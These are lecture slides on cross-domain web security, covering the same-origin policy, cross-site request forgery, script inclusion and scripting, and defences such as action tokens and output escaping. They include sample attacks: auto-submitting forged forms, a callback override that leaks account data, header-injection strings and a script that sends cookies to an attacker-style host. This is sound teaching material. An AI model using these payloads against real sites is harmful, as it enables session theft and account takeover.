10 cross-domain security in web applications

CHAPTER 10 Cross-Domain Security in Web Applications

Slides adapted from "Foundations of Security: What Every Programmer Needs To Know" by Neil Daswani, Christoph Kern, and Anita Kesavan (ISBN 1590597842; http://www.foundationsofsecurity.com). Except as otherwise noted, the content of this presentation is licensed under the Creative Commons 3.0 License.

Agenda

Domain: where our apps & services are hosted Cross-domain: security threats due to

interactions between our applications and pages on other domains

Alice is simultaneously (i.e. same browser session), using our (“good”) web-application and a “malicious” web-application

Security Issues? Solutions? Cross-Site Request Forgery, Scripting…

10.1. Interaction Between Web Pages From Different Domains Possible interactions limited by same-origin

policy (a.k.a. cross-domain security policy) Links, embedded frames, data inclusion across

domains still possible Client-side scripts can make requests cross-domain

HTTP & cookie authentication two common modes (both are usually cached) Cached credentials associated with browser instance Future (possibly malicious) requests don’t need

further authentication

10.1.1. HTML, JavaScript, and the Same-Origin Policy Modern browsers use DHTML

Support style layout through CSS Behavior directives through JavaScript Access Document Object Model (DOM) allowing

reading/modifying page and responding to events

Origin: protocol, hostname, port, but not path

Same-origin policy: scripts can only access properties (cookies, DOM objects) of documents of same origin

10.1.1. Same-Origin Examples

Same Origin http://www.examplesite.org/here http://www.examplesite.org/there same protocol: http, host: examplesite, default port 80

All Different Origins http://www.examplesite.org/here https://www.examplesite.org/there http://www.examplesite.org:8080/thar http://www.hackerhome.org/yonder Different protocol: http vs. https, different ports: 80 vs.

8080, different hosts: examplesite vs. hackerhome

10.1.2. Possible Interactions of Documents from Different Origins (1) hackerhome.org can link to us, can’t control

<a href="http://www.mywwwservice.com/some_url">Click here!</a>

Or include a hidden embedded frame:<iframe style="display: none" src="http://www.mywwwservice.com/ some_url"></iframe>

No visible cue to the user (style attribute hides it) Happens automatically, without user interaction

Same-origin policy prevents JavaScript on hackerhome direct access to our DOM

10.1.2. Possible Interactions (2)

Occasionally, data loaded from one domain is considered to originate from different domain<script src="http://www.mywwwservice.com/some_url></script">

hackerhome can include this script loaded from our site, but it is considered to originate from hackerhome instead

Included script can inspect contents of enclosing page which can define evaluation environment for script

10.1.2. Possible Interactions (3)

Another way attacker can initiate requests from user’s browsers to our server:

Form is submitted to our server without any input from user Only has a hidden input field, nothing visible to user Form has a name, so script can access it via DOM

and automatically submit it

<form name="f" method="POST"action="http://www.mywwwservice.com/action">

<input type="hidden" name="cmd" value="do_something"> ...</form><script>document.f.submit();</script>

10.1.3. HTTP Request Authentication HTTP is stateless, so web apps have to

associate requests with users themselves HTTP authentication: username/passwd

automatically supplied in HTTP header Cookie authentication: credentials requested in

form, after POST app issues session token Browser returns session cookie for each request

Hidden-form authentication: hidden form fields transfer session token

Http & cookie authentication credentials cached

10.1.4. Lifetime of Cached Cookies and HTTP Authentication Credentials Temporary cookies cached until browser shut

down, persistent ones cached until expiry date

HTTP authentication credentials cached in memory, shared by all browser windows of a single browser instance

Caching depends only on browser instance lifetime, not on whether original window is open

10.1.4. Credential Caching Scenario (1) Alice has browser window open, (2) creates

new window (3) to visit our site, HTTP authentication credentials stored

(4) She closes the window, but original one still open (5) later, she’s lured to the hacker’s site which causes a surreptitious request to our site utilizing the cached credentials

Credentials persisted even after (4), cookies could have been timed-out; step (5) could happen days or weeks after (4)

10.2. Attack Patterns

Security issues arising from browser interacting with multiple web apps (ours and malicious ones), not direct attacks

Cross-Site Request Forgery (XSRF)

Cross-Site Script Inclusion (XSSI)

Cross-Site Scripting (XSS)

10.2.1. Cross-Site Request Forgery (XSRF) Malicious site can initiate HTTP requests to our

app on Alice’s behalf, w/o her knowledge Cached credentials sent to our server

regardless of who made the request Ex: change password feature on our app

Hacker site could execute a script to send a fake password-change request to our form

authenticates because cookies are sent

<form method="POST" action="/update_profile"> ...New Password: <input type="password" name="password">... </form>

10.2.1. XSRF Example

1. Alice’s browser loads page from hackerhome.org

2. Evil Script runs causing evilform to be submitted with a password-change request to our “good” form: www.mywwwservice.com/update_profile with a<input type="password" id="password"> field

3. Browser sends authentication cookies to our app. We’re hoodwinked into thinking the request is from Alice. Her password is changed to evilhax0r!

<form method="POST" name="evilform" target="hiddenframe" action="https://www.mywwwservice.com/update_profile"> <input type="hidden" id="password" value="evilhax0r"></form><iframe name="hiddenframe" style="display: none"> </iframe> <script>document.evilform.submit();</script>

evilform

10.2.1. XSRF Impacts

Malicious site can’t read info, but can make write requests to our app!

In Alice’s case, attacker gained control of her account with full read/write access!

Who should worry about XSRF? Apps w/ server-side state: user info, updatable profiles such

as username/passwd (e.g. Facebook) Apps that do financial transactions for users (e.g. Amazon,

eBay) Any app that stores user data (e.g. calendars, tasks)

/auth uname=victim&pass=fmd9032

Cookie: sessionid=40a4c04de

Example: Normal Interaction

/viewbalanceCookie: sessionid=40a4c04de

““Your balance is $25,000”Your balance is $25,000”

Alice bank.com/login.html

/auth uname=victim&pass=fmd9032


evil.orgExample: Another XSRF AttackAlice bank.com

/login.html

/evil.html

<img src="http://bank.com/paybill?addr=123 evil st & amt=$10000">

/paybill?addr=123 evil st, amt=$10000Cookie: sessionid=40a4c04de

““OK. Payment Sent!”OK. Payment Sent!”

10.2.2. Cross-Site Script Inclusion (XSSI) 3rd-party can include <script> sourced from us

Static Script Inclusion Purpose is to enable code sharing, i.e. providing

JavaScript library for others to use Including 3rd-party script dangerous w/o control since

it runs in our context with full access to client data

Dynamic Script Instead of traditional postback of new HTML doc,

asynchronous requests (AJAX) used to fetch data Data exchanged via XML or JSON (arrays, dicts)

10.2.2. XSSI

Malicious website can request dynamic script

Browser authentication cookies would be sent

Script (JSON fragment) returned by server is accessible to and runs on the malicious site

But, script is evaluated in hacker’s context

Hacker redefines the callback method to process and harvest the user data as desired

XSSI Example: AJAX Script

Dynamic Script Inclusion: viewbalance.html Good Site: www.bank.com<script>x = new XMLHTTPRequest(); // used to make an AJAX requestx.onreadystatechange = ProcessResults;x.open("POST","http://www.bank.com/json/get_data?callback=RenderData");function ProcessResults() { if (x.readyState == 4 and x.status = 200) eval(x.responseBody);}</script>

Normal AJAX Interaction

/viewbalance.htmlCookie: sessionid=40a4c04de

Alice bank.comlogin & authenticate


/json/get_data?callback=RenderData

RenderData({“acct_no”:”494783”, “balance”:”10000”})

RenderData

Another XSSI Attack

/viewbalance.html Cookie: sessionid=40a4c04de

Alice bank.comlogin & authenticate


RenderData({“acct_no”:”494783”, “balance”:”10000”})

evil.org

/evil.html

<script>function RenderData(args) { sendArgsToEvilOrg(args); }</script><script src="http://www.bank.com/json/get_data?callback=RenderData">

RenderData({“acct_no”:”494783”, “balance”:”10000”})Overrides Callback!

10.2.3. Cross-Site Scripting (XSS) What if attacker can get a malicious script to be

executed in our application’s context? access user’s cookies, transfer to their server

Ex: our app could have a query parameter in a search URL and print it out on page http://www.mywwwservice.com/query?question=cookies

Following fragment in returned HTML document with value of parameter question inserted into page

Unfiltered input allows attacker to inject scripts

...<p>Your query for 'cookies' returned the following results:<p>...

10.2.3. XSS Example

Alice tricked into loading URL (thru link or hidden frame sourcing it)

Server’s response contains

Attack string URL-encodes < and >

malicious-script, any script attacker desires, is executed in context of our domain

http://www.mywwwservice.com/query?question=cookies+%3Cscript%3Emalicious-script%3C/script%3E

<p>Your query for 'cookies <script>malicious-script</script>' returned the following results:</p>

10.2.3. XSS Exploits: Stealing Cookies Malicious script could cause browser to send attacker

all cookies for our app’s domain Attacker gains full access to Alice’s session

Script associated with our domain Can access document.cookie in DOM Constructs URL on attacker’s server, gets saved in a log

file, can extract info from cookie parameter

<script> i = new Image(); i.src = "http://www.hackerhome.org/log_cookie?cookie=" + escape(document.cookie); // URL-encode</script>

10.2.3. XSS Exploits: Scripting the Vulnerable Application Complex script with specific goal

Get personal user info, transfer funds, etc… More sophisticated than just stealing cookies

Advantages over cookie stealing Stolen session cookie may expire before it’s used Never makes a direct request to our server We can’t log his IP, he’s harder to trace

10.2.3. XSS Exploits: Modifying Web Pages Attacker can script modifications to web pages

loaded from our site by manipulating DOM

Part of social engineering, phishing attack Intended for viewing by victim user

Modified page is loaded from our site So URL is still the same No certificate-mismatch even with SSL Hard to tell that modification is by 3rd party

10.2.3. Sources of Untrusted Data Query parameters, HTML form fields

Path of the URI which could be inserted into page via a “Document not found” error

Cookies, parts of the HTTP request header (e.g. Referer header)

Data inserted into a SQL DB, file system

3rd party data (e.g. RSS feed)

10.2.3. Stored vs. Reflected XSS Reflected XSS: script injected into a request and

returned immediately in response (like query parameter example)

Stored XSS: script delivered to victim some time after being injected stored somewhere in the meantime attack is repeatable, more easily spread Ex: Message board with injected script in a message,

all users who view the message will be attacked

Underlying issue for both is untrusted data

10.2.3. MySpace Attacked by Stored XSS Worm XSS really damaging when stored XSS can

propagate in a worm-like pattern

In 2005, XSS worm released on MySpace Propagated through profiles via friend connections Payload harmless: added user “Samy” to infected

user’s friends list

Impact: MySpace down for several hours to clean up profiles (but XSS worm impact could be much worse!)

10.3. Preventing XSRF

HTTP requests originating from user action are indistinguishable from those initiated by a script

Need own methods to distinguish valid requests

Inspecting Referer Headers

Validation via User-Provided Secret

Validation via Action Token

10.3.1. Inspecting Referer Headers Referer header specifies the URI of document

originating the request Assuming requests from our site are good, don’t

serve requests not from our site

OK, but not practical since it could be forged or blanked (even by legitimate users) For well-behaved browsers, reasonable to expect Referer headers to be accurate, if present

But if blank, we can’t tell if it’s legitimate or not

10.3.2. Validation via User-Provided Secret Can require user to enter secret (e.g. login

password) along with requests that make server-side state changes or transactions

Ex: The change password form (10.2.1) could ask for the user’s current password

Balance with user convenience: use only for infrequent, “high-value” transactions Password or profile changes Expensive commercial/financial operations

10.3.3. Validation via Action Token Add special action tokens as hidden fields to

“genuine” forms to distinguish from forgeries Same-origin policy prevents 3rd party from

inspecting the form to find the token

Need to generate and validate tokens so that Malicious 3rd party can’t guess or forge token Then can use to distinguish genuine and forged forms How? We propose a scheme next.

10.3.3. Generating Action Tokens Concatenate value of timestamp or counter c

with the Message Authentication Code (MAC) of c under secret key K: Token: T = MACK(c)||c Security dependent on crypto algorithm for MAC || denotes string concatenation, T can be parsed into

individual components later

Recall from 1.5., MACs are function of message and secret key (See Ch. 15 for more details)

10.3.3. Validating Action Tokens

Split token T into MAC and counter components

Compute expected MAC for given c and check that given MAC matches

If MAC algorithm is secure and K is secret, 3rd party can’t create MACK(c), so can’t forge token

10.3.3. Problem with Scheme

Application will accept any token we’ve previously generated for a browser

Attacker can use our application as an oracle! Uses own browser to go to page on our site w/ form Extracts the token from hidden field in form

Need to also verify that incoming request has action token sent to the same browser (not just any token sent to some browser)

10.3.3. Fixing the Problem

Bind value of action token to a cookie Same-origin policy prevents 3rd party from reading or

setting our cookies Use cookie to distinguish between browser instances

New Scheme Cookie C is unpredictable, unique to browser instance C can be session authentication cookie Or random 128 bits specifically for this purpose L = action URL for form with action token Compute T = MACK(C||d||L), d is separator (e.g. ;) d ensures uniqueness of concatenation

10.3.3. Validation in New Scheme Extract request URL L’ (w/o query part for GET

request) and cookie C’. Compute expected value of action token:

Texpected = MACK(C’||d||L’) Extract actual Trequest of action token from

appropriate request parameter Verify Texpected = Trequest ,otherwise reject Occasionally legitimate request may fail

Ex: user leaves page w/ form open and initiates new session in different window; action token for original form becomes “stale”

10.3.4. Security Analysis of the Action Token Scheme Value of token chosen to be unguessable

Output of cryptographically strong MAC algorithm Attack rate limited by JavaScript loop, far slower than

rates usually supposed for offline attacks against crypto algorithms

Only way to obtain token (w/o key) is to use our app as an oracle This also requires the user’s session cookie Assume attacker doesn’t have this otherwise he could

already directly hijack the session anyway Session cookies are also hard to guess

10.3.4. Security Analysis: Leakage of Action Tokens For GET requests, action token visible as query

parameter in request URL Would appear in proxy and web server logs Could be leaked in Referer header if page contains

references (images, links) to 3rd party documents

HTTP spec recommends POST instead of GET Scheme incorporates target action URL into

MAC computation If one URL is leaked, can’t be used against another Use fresh cookie for each browser instance, so stolen

action token not usable for future sessions

10.3.4. Analysis: Limitations in Presence of XSS Vulnerabilities If application is vulnerable to XSS attack, action

token scheme is ineffective.

Attacker can inject script to steal cookies and corresponding action tokens.

Or even directly “fill out” forms and submit request within context of user’s session

But if XSS vulnerability exists, attacker already has a better mode of attack than XSRF

10.3.4. Analysis: Relying on Format of Submitted Data Communication with server often follows RPC

pattern through XMLHttpRequest object Marshalling data in some form (e.g. JSON/XML) Form-based request ex:

results in following POST request (not valid JSON)

Form’s fields encoded as key/value pairs Metacharacters (&, =, space) are HTML-encoded All key/value pairs concatenated, separated by & char

<form method="POST" action="http://www.mywwwservice.com/action"> <input name="foo" value="I'd like a cookie"> <input name="bar" value="and some tea & coffee"></form>

foo=I'd%20like%20a%20cookie&bar=and%20some%20tea%20%26%20coffee

10.3.4. Relying on Format of Submitted Data <form> tag also has enctype attribute

specifying encoding via MIME media type Default: application/x-www-form-urlencoded text/plain (&-separated pairs w/o encoding)

Form Example and corresponding POST:<form method="POST" action="http://www.mywwwservice.com/action" enctype="text/plain"> <input name='{"junk": "ig' value='nore", "new_password": "evilhax0r"}'></form>

{"junk": "ig=nore", "new_password": "evilhax0r"}

POST request can have arbitrary content (including valid JSON/XML)!Can’t just rely on format, use action tokens to prevent XSRF!

Valid JSON!

10.4. Preventing XSSI

Can’t stop others from loading our resources Similar problem with preventing XSRF

need to distinguish 3rd party references from legitimate ones, so we can deny the former

Authentication via Action Token

Restriction to POST Requests

Preventing Resource Access for Cost

10.4.1. Authentication via Action Token Put an additional query parameter w/ token

which must be consistent w/ session cookie Malicious page can’t guess token, request refused

Employ same action token scheme introduced against XSRF in 10.3.3. (can use a single token for both purposes)

Use POST whenever possible, to prevent leaking of token via GET parameters in URL Leakage risk less b/c JavaScript document, not HTML

10.4.2. Restriction to POST Requests Cross-domain attacks entry point: <script> tags

these always use GET

To protect read-only requests, restrict to POST

Use action tokens to protect all Ajax requests Ajax mixes read-only and state-changing (write)

requests, so POST restriction alone doesn’t help

10.4.3. Preventing Resource Access for Cost Reasons If ISP charges for volume of traffic

Limit resource inclusion by 3rd party for cost reasons Just decline requests if Referer header is not one of

our sites Serve requests with empty Referer headers

Not a complete solution, but sufficient for limiting “bandwith leeching” Perhaps a few requests slip through, but only a

fraction of the cost still remains

10.5. Preventing XSS

Never send untrusted data to browser Such that data could cause execution of script Usually can just suppress certain characters

We show examples of various contexts in HTML document as template snippets Variable substitution placeholders: %(var)s evil-script; will denote what attacker injects Contexts where XSS attack is possible

10.5.1. General Considerations Input Validation vs. Output Sanitization

XSS is not just a input validation problem Strings with HTML metachars not a problem until

they’re displayed on the webpage Might be valid elsewhere, e.g. in a database, and

thus not validated later when output to HTML Sanitize: check strings as you insert into HTML doc

HTML Escaping escape some chars with their literals e.g. & = & < = < > = &rt; “ = " Library functions exist, but check docs (may not

escape all characters)!

10.5.2. Simple Text

Most straightforward, common situation Example Context:

Attacker sets query = <script>evil-script;</script> HTML snippet renders as

Prevention: HTML-escape untrusted data Rationale: If not escaped

<script> tags evaluated, data may not display as intended

<b>Error: Your query '%(query)s' did not return any results.</b>

<b>Error: Your query '<script>evil-script;</script>' did not return any results.</b>

10.5.3. Tag Attributes (e.g., Form Field Value Attributes) Contexts where data is inserted into tag attribute

Example HTML Fragment:

Attacker sets Renders as

Attacker able to “close the quote”, insert script

<form ...><input name="query" value="%(query)s"></form>

query = cookies"><script>evil-script;</script>

<form ...> <input name="query" value="cookies"> <script>evil-script;</script>"></form>

10.5.3. More Attribute Injection Attacks Image Tag: <img src=%(image_url)s> Attacker sets image_url = http://www.examplesite.org/

onerror=evil-script;

After Substitution: <img src=http://www.examplesite.org/ onerror=evil-script;>

Lenient browser: first whitespace ends src attribute onerror attribute sets handler to be desired script Attacker forces error by supplying URL w/o an image Can similarly use onload, onmouseover to run scripts Attack string didn’t use any HTML metacharacters!

10.5.3. Preventing Attribute Injection Attacks HTML-escape untrusted data as usual

Escape &, ', ", <, >

Also attribute values must be enclosed in " "

Must escape the quote character to prevent “closing the quote” attacks as in example

Decide on convention: single vs. double quotes But escape both anyway to be safe

10.5.4. URL Attributes (href and src) Dynamic URL attributes vulnerable to injection

Script/Style Sheet URLs: <script src="%(script_url)s"> Attacker sets script_url = http://hackerhome.org/evil.js

javascript: URLS - <img src="%(img_url)s"> By setting img_url = javascript:evil-script; we get

<img src="javascript:evil-script;"> And browser executes script when loading image

10.5.4. Preventing URL Attribute Injection Escape attribute values and enclose in " "

Follow 10.5.3 guidelines for general injection attacks Only serve data from servers you control

For URLs to 3rd party sites, use absolute HTTP URLS (i.e. starts with http:// or https://)

Against javascript: injection, whitelist for good URLs (apply positive filter) Not enough to just blacklist, too many bad URLs Ex: even escaping colon doesn’t prevent script Could also be

data:text/html,<script>evil-script;</script>

10.5.5. Style Attributes Dangerous if attacker controls style attributes

Attacker injects: Browser evaluates:

In IE 6 (but not Firefox 1.5), script is executed! Prevention: whitelist through regular expressions

Ex: ^([a-z]+)|(#[0-9a-f]+)$ specifies safe superset of possible color names or hex designation

Or expose an external param (e.g. color_id) mapped to a CSS color specifier (lookup table)

<div style="background: %(color)s;">I like colors.</div>

color = green; background-image: url(javascript:evil-script;)

<div style="background: green; background-image: url(javascript:evil-script;);"> I like colors. </div>

10.5.6. Within Style Tags

Injections into style= attributes also apply for <style> tags

Validate data by whitelisting before inserting into HTML document <style> tag

Apply same prevention techniques as in 10.5.5.

10.5.7. In JavaScript Context

Be careful embedding dynamic content <script> tags or handlers (onclick, onload, …) In Ajax-apps, server commonly returns JavaScript:

Attacker injects: And evil-script; is executed!

<script> var msg_text = '%(msg_text)s'; // do something with msg_text </script>

<script> var msg_text = 'oops'; evil-script; //'; // do something with msg_text</script>

msg_text = oops'; evil-script; //

10.5.7. Preventing JavaScript Injection Don’t insert user-controlled strings into

JavaScript contexts <script> tags, handler attributes (e.g. onclick) w/in code sourced in <script> tag or using eval() Exceptions: data used to form literal (strings, ints, …) Enclose strings in ' ' & backslash escape (\n, \t, \x27) Format non-strings so that string rep is not malicious Backslash escaping important to prevent “escape

from the quote” attack where notions of “inside” and “outside” string literals is reversed

Numeric literals ok if from Integer.toString(), …

10.5.7. Another JavaScript Injection Example From previous example, if attacker sets

the following HTML is evaluated:

Browser parses document as HTML first Divides into 3 <script> tokens before interpreting

as JavaScript Thus 1st & 3rd invalid, 2nd executes as evil-script

msg_text = foo</script><script>evil-script;</script><script>

<script>var msg_text = 'foo</script><script>evil-script;</script><script>'// do something with msg_text</script>

10.5.8. JavaScript-Valued Attributes Handlers inside onload, onclick attributes:

HTML-unescaped before passing to JS interpreter Ex: Attacker injects: Browser

Loads: JavaScript Interpreter gets

Prevention: Two Rounds of Escaping JavaScript escape input string, enclose in ' ' HTML escape entire attribute, enclose in " "

<input ... onclick='GotoUrl("%(targetUrl)s");'>

targetUrl = foo");evil_script("

<input ... onclick='GotoUrl("foo");evil_script("");'>

GotoUrl("foo");evil_script("");

10.5.8. JavaScript-Valued Attributes Prevention Rationale HTML-escaping step prevents attacker from

sneaking in HTML-encoded characters Different style quotes

Single for JavaScript literals Double for HTML attributes Avoid one type accidentally “ending” the other

JavaScript escape function should escape HTML metachars (&, <, >, ", ') as well Escaped into hex or unicode Additional security measure if second step forgotten

10.5.9. Redirects, Cookies, and Header Injection Need to filter and validate user input inserted

into HTTP response headers Ex: servlet returns HTTP redirect

Attacker Injects:(URI-encodesnewlines)

HTTP/1.1 302 MovedContent-Type: text/html; charset=ISO-8859-1Location: %(redir_url)s

<html> <head><title>Moved</title></head> <body>Moved <a href='%(redir_url)s'>here</a></body> </html>

oops:foo\r\nSet-Cookie: SESSION=13af..3b;domain=mywwwservice.com\r\n\r\n<script>evil()</script>

10.5.9. Header Injection Example Resulting HTTP response:

Attacker sets desired cookies: could overwrite user preferences (DoS) or action tokens (XSRF)

Double CRLF injects script into body which could be executed after Location: header is invalidated

HTTP/1.1 302 MovedContent-Type: text/html; charset=ISO-8859-1Location: oops:fooSet-Cookie: SESSION=13af..3b; domain=mywwwservice.com

<script>evil()</script><html><head><title>Moved</title></head><body>Moved <a href='oops:fooSet-Cookie: SESSION=13af..3b; domain=mywwwservice.com

<script>evil()</script>'>here</a></body></html>

10.5.9. Preventing Header Injection Ensure URLs for Location: headers are well-

formed http: or https: Only consists of characters permitted to be non-

escaped according to standard (e.g. RFC 2396) Checks that it’s not javascript: URL for example

Check that cookie names and values within standard (e.g. RFC 2965)

Setting other headers: ensure values contain only characters allowed by HTTP/1.1 protocol spec (RFC 2616) Restricting to specs ensures browser parses correctly

10.5.10. Filters for “Safe” Subsets of HTML Allow “safe” subset of HTML and render to user

Ex: web-based e-mail app Can allow “harmless” HTML tags (e.g. <h1>) But don’t allow execution of malicious scripts

Use strict HTML parser Strip tags and attributes that are not whitelisted (i.e.

known to not allow arbitrary scripting) Consult a security expert

10.5.11. Unspecified Charsets, Browser-Side Charset Guessing, and UTF-7 XSS Attacks

Browser needs to know what character encoding to use to render HTML document Server can specify through charset parameter of Content-Type HTTP header or <meta http-equiv>

Default: iso-8859-1 Or may try to guess the charset

Example: attacker injects UTF-7 text

No characters that are normally filtered No charset specified, so IE guesses UTF-7 +ADw- , +AD4- encode < , >: script executed!

+ADw-script+AD4-alert(document.domain);+ADw-/script+AD4-

10.5.11. Preventing Charset XSS Attacks Explicitly specify appropriate charset

Ex: Content-Type: text/html; charset=UTF-8 Or through tag:

Meta-tag should appear before untrusted tags Appropriate: the one that reflects encoding

assumptions used by app for filtering/sanitizing input and HTML encoding output strings

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

10.5.12. Non-HTML Documents & IE Content-Type Sniffing Browsers may ignore MIME type of document

Specifying Content-Type: text/plain should not interpret HTML tags when rendering

But not true for IE: mime-type detection

AKA Content-Type Sniffing: ignores MIME spec IE scans doc for HTML tags and interprets them Even reinterprets image documents as HTML!

10.5.12. Preventing Content-Type Sniffing XSS Attacks Validate that content format matches MIME type

Especially for image files: process through library Read image file, convert to bitmap, convert back Don’t trust image file format,

Ensure no HTML tags in first 256 bytes of non-HTML file Could prepend 256 bytes of whitespace Empirically determined # (also in docs), could be

different for other versions Or could HTML-escape entire document

10.5.13. Mitigating the Impact of XSS Attacks

HTTP-Only Cookies: incomplete protection HTTPOnly attribute on cookie in IE prevents it

from being exposed to client-side scripts can prevent traditional session hijacking But only for IE and doesn’t prevent direct attacks Should also disable TRACE requests

Binding Session Cookies to IP Address check if session token is being used from multiple

IP addresses (especially geographically distant) could cause user inconvenience, use only for

high-value transactions

Types of XSS Attacks RecapContext Examples

(where to inject evil-script)

Prevention Technique

Simple Text <b>'%(query)'</b> HTML Escaping

Tag Attributes (Attribute-Injection)

<input … value ="%(query)"/>

HTML Escaping(attrib values in " ")

URL Attributes(href, src attribs.)

<script src ="%(script_url)">

Whitelist(src from own server?)

Style Attributes(or <style> tags)

<div style="back ground: %(color);">

Whitelist(Use RegExps)

JavaScript (JS) <input... onclick=''>

Escape JS/HTML

HTTP Header HTTP/1.1 302 Moved...

Location: %(redirUrl)

Filter Bad URLs(check format)

Summary

Cross-Domain Attacks Not direct attacks launched against our app User views ours and a malicious site in same browser Attacker tries to run evil scripts, steal our cookies, … Types: XSRF, XSSI, XSS

Prevention: Against XSRF & XSSI: use cookie-based

authentication, prefer POST over GET, action tokens Against XSS: validate input & sanitize output, use

HTML/Javascript escaping appropriately, whitelist